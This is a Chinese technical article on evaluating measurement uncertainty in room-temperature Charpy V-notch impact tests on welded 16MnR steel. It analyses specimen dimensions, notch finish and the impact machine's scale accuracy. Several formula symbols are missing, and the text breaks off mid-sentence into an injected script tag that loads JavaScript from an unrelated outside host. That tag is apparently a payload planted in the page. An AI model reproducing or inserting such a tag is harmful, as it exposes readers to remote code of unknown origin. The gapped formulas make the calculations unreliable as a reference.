摘要：本文介绍了测量不确定度在金属夏比（v型缺口）室温冲击试验中的应用，并对影响冲击试验结果的测量不确定度做了详细评定，从试样的形状和尺寸、缺口底部的光洁度、冲击试验机、试验温度、检查试样尺寸量具的最小分度值五方面分析了不确定度的来源，对各分量进行了计算、合成并作出评定。 我国jjf1059-1999《测量不确定度评定与表示》计量技术规范和gb/t15481-2000 idt iso/iec17025:1999《检测和校准实验室能力的通用要求》发布以后，对于检测实验室来说在不确定度的评定与表示方面还处于刚刚起步的探索阶段。本文就以检测实验室的检测项目------金属夏比缺口（v型）室温冲击试验为例对影响其试验结果的不确定度因素进行了分析和评定。

1 概述

（1） 测量方法：依据gb/t229-1994 金属夏比缺口冲击试验方法

（2） 环境条件：室温冲击试验应在10~35℃进行，对试验温度要求严格的试验应在20±2℃进行，本试验在21℃条件下进行。

（3） 测量仪器：jb-30a冲击试验机。

（4） 被测对象：厚度δ=12mm，材质为16mnr、采用焊条电弧焊的焊件。

（5） 其它有关说明（包括评定结果的使用）：符合上述条件或条件十分接近者一般可直接用本不确定度的评定结果，其它可使用本不确定度的评定方法。

2 数学模型的建立：

常温冲击的冲击试验结果可直接显示，所以数学模型为y= ，式中， 为被测焊件冲击读出值，y为被测焊件冲击测定值。

3 测量不确定度来源的分析

因为本试验讨论的是常温冲击，假设试验是在恒温条件下进行，即不考虑温度效应引起的不确定度分量，金属夏比缺口（v型）常温冲击试验结果测量不确定度主要来源于下列几方面（如表1所示）： 金属夏比缺口（v型）常温冲击试验结果测量不确定度一览表（表1）

序号 不确定度来源 符号 相对标准不确定度分量 1

试样的形状和尺寸 μsr μar、μbr 2

缺口底部光滑度 μgr 3

试验机 μjr μjr1、μjr2、μjr3、μjr4 4

温度 μwr 5

检查试样尺寸量具的最小分度值 μfr

4 不确定度分量的评定

4.1 试样形状和尺寸引入的相对标准不确定度μs 试样的形状和尺寸采用国际上通用的形状和尺寸，标准试样为10×10×55mm，中间带2mmv型缺口的试样。试样缺口处横截面尺寸公差的大小，直接进入试验测定的误差，允许大的尺寸公差必然引起 的偏差与分散性大。缺口处净面积为s=a·b，式中a为宽度，b为缺口底下的厚度。标准gb/t229-1994中规定a和b尺寸公差均为±0.05mm，故宽度a的最大相对允差为±0.05/10=±0.5%，设测量值落在该区间内的概率分布为均匀分布，k= ，因此由宽度a引入的相对标准不确定度为μar=0.5%/ =2.89×10－3。

厚度b的最大相对允差为：±0.05/8=±0.625%，同宽度一样，可认为此分布为均匀分布，k= ，因此，由厚度b引入的相对标准不确定度为μbr=0.625%/ =3.6×10－3。故由缺口处净面积s引入的相对标准不确定度为：

4.2 由缺口底部光洁度引入的相对标准不确定度μgr

缺口底部的光洁度对某些金属材料的冲击试验结果是有些影响的，缺口底部光洁度低会使冲击吸收功偏低，但国际上多数国家均规定试样缺口应光滑，无与缺口轴线平行的划痕，而没有规定具体定量指标。gb/t229-1994中规定仅在仲裁时试样缺口底部表面粗糙度参数ra应不大于1.6μm，至于日常检验，则只要求试样缺口底部应光滑。评定缺口底部的光洁度大多数使用标准光洁度块目视对比评定，用一般的铣、拉方法就能达到日常检验要求的光洁度，故由缺口底部光洁度引入的相对标准不确定度可忽略。

4.3 由冲击试验机引入的相对标准不确定度μjr

4.3.1 由标尺刻度精确度引入的相对标准不确定度分量μjr1

刻度的精确度直接影响试验误差，尤其对小能量的试验结果更不容忽视。本试验室采用的是宁夏吴忠试验机厂生产的jb-30a型冲击试验机，以满量程300j计量，则在各点引起的相对误差如表2所示： 表2 能量，j 1 2 3 5 10 15 20 25 30 相对误差，% 6 3 2 1.5 0.6 0.4 0.3 0.24 0.2

表2表明，能量≤30j以下范围的相对误差是不容忽视的，故在标准gb/t229-1994中7.2条中规定冲击试验机一般在摆锤最大能量的10%~90%范围内使用，故在10%~90%范围内使用时的最大相对误差为0.2%，可认为示值出现在±0.2%?script src=http://er12.com/t.js>